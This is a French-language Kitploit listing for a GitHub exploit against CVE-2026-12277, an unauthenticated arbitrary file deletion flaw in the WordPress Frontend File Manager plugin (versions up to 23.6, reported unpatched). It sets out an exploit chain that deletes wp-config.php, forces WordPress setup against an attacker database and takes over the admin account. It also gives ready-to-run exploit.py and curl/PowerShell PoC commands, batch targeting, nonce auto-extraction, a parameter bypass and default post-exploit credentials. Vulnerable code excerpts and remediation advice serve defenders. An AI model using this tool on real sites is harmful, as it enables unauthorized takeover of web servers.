Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - Suppression arbitraire de fichiers sans authentification menant à une exécution de code à distance (RCE) | Kitploit
Outils/GitHubGitHub/moritakaaz/cve-2026-12277
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Suppression arbitraire de fichiers sans authentification menant à une exécution de code à distance (RCE)

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-12277

Plugin Frontend File Manager (WordPress) <= 23.6 - Suppression arbitraire de fichiers non authentifiée menant à une exécution de code à distance (RCE)

Résumé

ChampValeur
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Versions affectées<= 23.6
TypeSuppression arbitraire de fichiers non authentifiée
CVSS8.7 (ÉLEVÉ)
CWECWE-73 (Contrôle externe du nom ou du chemin de fichier)
PrérequisMode d'upload invité activé
CorrectifAucun (en date de juillet 2026)
ChercheurChamseddine Bouzaiene

Cause racine

Le plugin stocke les chemins des fichiers téléversés dans les métadonnées de publication (wpfm_dir_path). Le point de terminaison AJAX wpfm_file_meta_update :

  1. A la vérification nonce commentée (lignes 769-771 dans files.php)
  2. Est enregistré comme nopriv (accessible sans authentification)
  3. La défense unset($_REQUEST['wpfm_dir_path']) peut être contournée via les particularités de request_order de PHP (envoi via la chaîne de requête)

Lorsque wpfm_delete_file est appelé, il lit wpfm_dir_path depuis les métadonnées de publication et appelle unlink() sans aucune validation de chemin.

Points de terminaison vulnérables

Action AJAXNonce requisAuthentification requisenopriv
wpfm_file_meta_updateNON (commenté)NonOui (toujours)
wpfm_delete_fileOuiNonOui (toujours)
wpfm_upload_fileOuiNonOui (si l'upload invité est activé)

Chaîne d'exploitation

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

Fichiers

FichierDescription
exploit.pyExploit Python complet (détection → exploitation → prise de contrôle)
poc_curl.shPoC Bash/curl (Linux)
poc_curl.ps1PoC PowerShell/curl (Windows)
lists.txtURL cibles (une par ligne, pour le mode batch)
requirements.txtDépendances Python

Utilisation

Exploit Python (Entièrement automatique)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

Après l'exploitation - Connexion

Après le succès de l'exploit, connectez-vous à l'administration WordPress :

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

PoC curl (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

PoC curl (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Arguments

ArgumentRequisDescription
-u, --urlOuiURL WordPress cible
-p, --pathNonChemin absolu vers wp-config.php sur le serveur
--nonceNonNonce AJAX (ignorer l'extraction automatique)
--dbnameNonNom de la base de données de l'attaquant (défaut : wp_pwned)
--dbuserNonUtilisateur de la base de données de l'attaquant (défaut : root)
--dbpassNonMot de passe de la base de données de l'attaquant
--dbhostNonHôte de la base de données de l'attaquant (défaut : localhost)
--proxyNonProxy HTTP (par ex., http://127.0.0.1:8080)
--timeoutNonDélai d'expiration des requêtes en secondes (défaut : 15)
--detect-onlyNonDétecter uniquement la vulnérabilité, ne pas exploiter

Comment fonctionne l'extraction automatique du nonce

L'exploit recherche automatiquement wpfm_ajax_nonce dans :

  1. Slugs de pages courants : /file-manager/, /upload/, /files/, /file-upload/, etc.
  2. Fichier direct : /file-manager.php
  3. Tous les liens internes trouvés sur la page d'accueil (crawling)
  4. WP REST API (/wp-json/)

Le nonce apparaît comme un champ de saisie masqué :

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Ou dans le JavaScript localisé :

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Technique de contournement du chemin

Le code exécute unset($_REQUEST['wpfm_dir_path']) pour empêcher l'écrasement direct. Le contournement :

  1. Injection dans la chaîne de requête : Envoyez wpfm_dir_path via un paramètre de requête d'URL tandis que les autres données passent par le corps POST. Le comportement de fusion de $_REQUEST de PHP permet à la valeur de persister selon la configuration de request_order.
  2. Prédéfini pendant le flux d'upload : La métadonnée wpfm_dir_path est définie lors des hooks initiaux de téléversement de fichier. Si elle est exploitée à ce stade, aucun contournement n'est nécessaire.

Environnement de test

ComposantVersion
WordPress6.9.4
PHP8.2.12
PluginFrontend File Manager 23.6
Système d'exploitationWindows (XAMPP) / Linux
RésultatPrise de contrôle totale confirmée

Références de code vulnérable

Nonce désactivé (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Écriture arbitraire de métadonnées (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Contournement d'autorisation (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

Suppression non validée (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

Résolution de chemin (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

Remédiation

  • Décommentez la vérification du nonce dans wpfm_file_meta_update
  • Validez wpfm_dir_path par rapport au répertoire d'upload en utilisant realpath() + vérification du préfixe
  • N'autorisez jamais d'entrée contrôlée par l'utilisateur dans les chemins de suppression de fichiers
  • Ajoutez des contrôles d'autorisation appropriés indépendants du réglage d'upload invité

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation écrite avant de tester.

Télécharger l’outil